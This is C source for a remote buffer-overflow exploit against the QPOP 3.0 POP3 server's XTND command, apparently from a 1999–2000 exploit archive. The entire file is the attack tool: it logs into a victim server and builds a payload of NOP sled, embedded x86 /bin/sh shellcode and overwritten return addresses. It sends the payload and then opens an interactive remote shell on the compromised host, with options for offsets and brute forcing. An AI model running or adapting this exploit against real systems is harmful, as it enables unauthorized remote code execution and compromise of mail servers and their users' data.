/* * Linux(x86) - Crappy exploit for QPOP3.0's XTND bug - PUBLIC VERSION * * This bug was fixed silently by Qualcomm in one of the later betas. * Discovered and exploited by p0rTaL (portal@security.is) Nov 20th 1999 * Greetings go to the security.is team, (\x90, DiGiT, duke, doze), #!teso * and Ircnet's #hax. * Compiles on Linux, porting should be easy. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_TYPE 1 #define MAX_SHELLCODE 2 #define NOP '\x90' /* x86 only */ #define APPEND_ADDRESSES 3 #define HARDCORE #define DEBUG #define LINEFEED "\r\n" int sock = -1; int port = 110; //this ought to be the default int type = 0; int shellcode_num = -1; //use the default int offset = 0; int impact_place = 993; int appenders = APPEND_ADDRESSES; unsigned char buffer[1500]; struct in_addr in; char *victim = NULL; typedef struct { char *platform; char *function; char *code; } SHELLCODE; typedef struct { char *platform; char *version; char *tested_on; SHELLCODE *shellcode; unsigned long address; } PLATFORM; SHELLCODE shellcodes[] = { { "Linux libc", "Standard dup2() /bin/bash interactive pipe", "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh........." }, { NULL, NULL, NULL } }; PLATFORM platforms[] = { { "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbffff3e8 }, { NULL, NULL, NULL, 0, 0 } }; struct { char on; unsigned long start; unsigned long now; unsigned long end; int step; } bruteforce; void do_lookup (void) { struct hostent *he; if ( (he = gethostbyname (victim)) != NULL) { memcpy (&in, he->h_addr, he->h_length); printf ("Resolved %s to %s\n", victim, inet_ntoa(in)); } else if ( (inet_aton (victim, &in)) < 0) { fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno); exit (-1); } if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno); exit (-1); } } void do_connect (void) { struct sockaddr_in si; memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well si.sin_family = AF_INET; si.sin_addr.s_addr = in.s_addr; si.sin_port = htons(port); if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0) { fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno); exit (-1); } // connect (sock, (struct sockaddr *)&si, sizeof(si)); } void usage(char *progname) { int i; printf ("QPOP3.0-XTND remotely local exploit :)\n"); printf ("Discovered and exploited Nov. 20th 1999 by p0rTaL (portal@security.is)\n\n"); printf ("Usage: %s [-p port] [-t type] [-o offset] [-s shellcode]\n", progname); printf ("Currently supported platforms:\n"); for (i = 0; platforms[i].platform != NULL; i++) printf ("%d: %s %s, QPOP %s, shellcode %s - 0x%x\n", i, platforms[i].platform, platforms[i].tested_on, platforms[i].version, platforms[i].shellcode->platform, platforms[i].address); printf ("\nCurrent shellcodes:\n"); for (i = 0; shellcodes[i].platform != NULL; i++) printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function); printf ("\n This exploit is for demonstration purposes only. You, and only you, are\n"); printf (" responsible for your OWN actions.\n\n"); exit (0); } void receive (void) { unsigned char buf[1500+1]; int i; memset (buf, '\0', sizeof(buf)); if ( (read (sock, buf, sizeof(buf)-1)) < 0) { fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno); close (sock); exit (-1); } printf ("READ: \033[1;34m"); for (i = 0; i < strlen(buf); i++) if (!iscntrl(buf[i])) printf ("%02x ", buf[i]); printf ("\033[0;37m\n(%s)\n", buf); } void transmit (char *string) //no need for a VA list { if ( (write (sock, string, strlen(string))) < 0) { fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno); exit (-1); } } void terminal (int sock) { char buffer[1024+1]; fd_set remote_fds; fd_set local_fds; int i; for (i = 0; i < NSIG; i++) if (i != SIGINT) //allow the user to ctrl+c out signal (i, SIG_IGN); FD_ZERO (&local_fds); FD_SET (0, &local_fds); FD_SET (sock, &local_fds); while (1) { memcpy (&remote_fds, &local_fds, sizeof(local_fds)); if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0) { fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno); exit(-1); } if (i == 0) { fprintf (stderr, "Session was terminated by foreign host.\n"); exit(0); } if (FD_ISSET (sock, &remote_fds)) { if ( (i = read(sock, buffer, sizeof(buffer))) < 0) { /* the user got disconnected, most probably */ #ifdef DEBUG fprintf (stderr, "read() failed, returned %d, errno is %d\n", i, errno); #endif fprintf (stderr, "\nDisconnected!\n"); exit(0); } write (1, buffer, i); //stdout, receive // receive(); } if (FD_ISSET (0, &remote_fds)) { memset (buffer, '\0', sizeof(buffer)); if ( (i = read(0, buffer, sizeof(buffer))) < 0) { fprintf (stderr, "read() returned %d, errno is %d\n", i, errno); exit(-1); } write (sock, buffer, i); //transmit } } } void log_on (char *user, char *password, int sock) { char buf[1024+1]; int messages = 0; printf ("-> Authenticating ...\n"); write (sock, "USER ", 5); write (sock, user, strlen(user)); write (sock, LINEFEED, strlen(LINEFEED)); usleep (500000); //assuming great bandwidth memset (buf, '\0', sizeof(buf)); if ( (read (sock, buf, sizeof(buf)-1)) < 0) { fprintf (stderr, "Remote server closed the connection during USER phase.\n"); close (sock); exit(-1); } #ifdef DEBUG printf (" READ: (%s)\n", buf); #endif write (sock, "PASS ", 5); write (sock, password, strlen(password)); write (sock, LINEFEED, strlen(LINEFEED)); usleep (500000); memset (buf, '\0', sizeof(buf)); if ( (read (sock, buf, sizeof(buf)-1)) < 0) { fprintf (stderr, "Remote server closed the connection during PASS phase.\n"); close (sock); exit(-1); } if ( (strstr (buf, "+OK")) && (strstr (buf, "message")) ) { printf ("-> Successfully logged on as \"%s\"\n", user); *(strstr (buf, " message")) = '\0'; //terminate it messages = atoi( (char *)(strstr (buf, "has") + 4) ); printf ("-> Message%s: %d ", (messages == 1) ? "" : "s", messages); if (messages <= 0) { printf ("\033[1;31m=\033[0;37m Not OK\n\n" "ERROR: The LIST vulnerability cannot be exploited except\n" " if there are existing messages in the mailbox.\n" " Go send yourself a mail :)\n"); close (sock); exit (-1); } printf ("- OK\n"); } else { fprintf (stderr, "Unable to log on, incorrect user/password or something.\n"); fprintf (stderr, "Last response from server:\n\"%s\"\n", buf); close (sock); exit(-1); } } int main(int argc, char **argv) { int i, next_arg = 0; char *progname = argv[0]; char *remote_user = NULL, *remote_passwd = NULL; if (argc < 4) usage(progname); memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce)); victim = (char *)strdup(argv[1]); argv++; argc--; remote_user = (char *)strdup(argv[1]); argv++; argc--; remote_passwd = (char *)strdup(argv[1]); argv++; argc--; while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF) switch (next_arg) { case 'p': if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) ) { fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n"); usage (progname); } port = atoi(optarg); printf (" -> Port set to %d.\n", port); break; case 't': if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) ) { fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE); usage (progname); } type = atoi(optarg); printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on); break; case 's': if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) ) { fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE); usage (progname); } shellcode_num = atoi(optarg); printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function); break; case 'o': if (bruteforce.on == 1) { fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n"); exit (-1); } offset = atoi(optarg); printf (" -> Offset set to %d.\n", offset); break; case 'b': bruteforce.on = 1; printf (" -> Bruteforce mode selected (not fully implemented in this version)\n"); printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"bfffffff bfff0000 4\"):\n "); if ( (fscanf (stdin, "%x %x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3) { fprintf (stderr, "Unknown offsets.\n"); exit (-1); } break; case 'i': impact_place = atoi(optarg); printf (" -> Place of impact set to %d.\n", impact_place); break; case 'r': appenders = atoi(optarg); printf (" -> Number of return addresses set to %d.\n", appenders); break; default: fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg); usage (progname); break; } do_lookup(); printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on); if (shellcode_num != -1) { platforms[type].shellcode = &(shellcodes[shellcode_num]); printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform); } else printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform); if (bruteforce.on == 0) { platforms[type].address -= offset; printf (" - Using return address %#x\n", platforms[type].address); printf ("\nAssembling shellspawning code\n"); } else printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step); printf ("-> Connecting to %s, port %d\n", inet_ntoa(in), port); do_connect(); receive (); log_on (remote_user, remote_passwd, sock); memset (buffer, '\0', sizeof(buffer)); strcpy (buffer, "XTND "); //the bug lies in pop_xtnd.c #ifdef DEBUG printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif memset (buffer+strlen(buffer), NOP, sizeof(buffer)-strlen(buffer)-1); #ifdef DEBUG printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code, sizeof(buffer) - impact_place - 5 - 1); //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1); #ifdef DEBUG printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif i = 0; while (i < appenders) { /* o = buffer + strlen(buffer); *(o) = (platforms[type].address & 0x000000ff); *(o+1) = (platforms[type].address & 0x0000ff00) >> 8; *(o+2) = (platforms[type].address & 0x00ff0000) >> 16; *(o+3) = (platforms[type].address & 0xff000000) >> 24; *(o+4) = '\0'; [2000]*/ memcpy ((char *)&buffer + strlen(buffer), &platforms[type].address, 4); #ifdef HARDCORE printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif i++; } strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically #ifdef HARDCORE printf ("Code is:\n\033[1;31m"); for (i = 0; i < strlen(buffer); i++) printf ("%02x ", buffer[i]); printf ("\033[0;37m\n"); #endif transmit (buffer); receive (); printf ("Got shell!\n"); terminal (sock); close (sock); //not reached return (0); } /* www.hack.co.za [8 June 2000]*/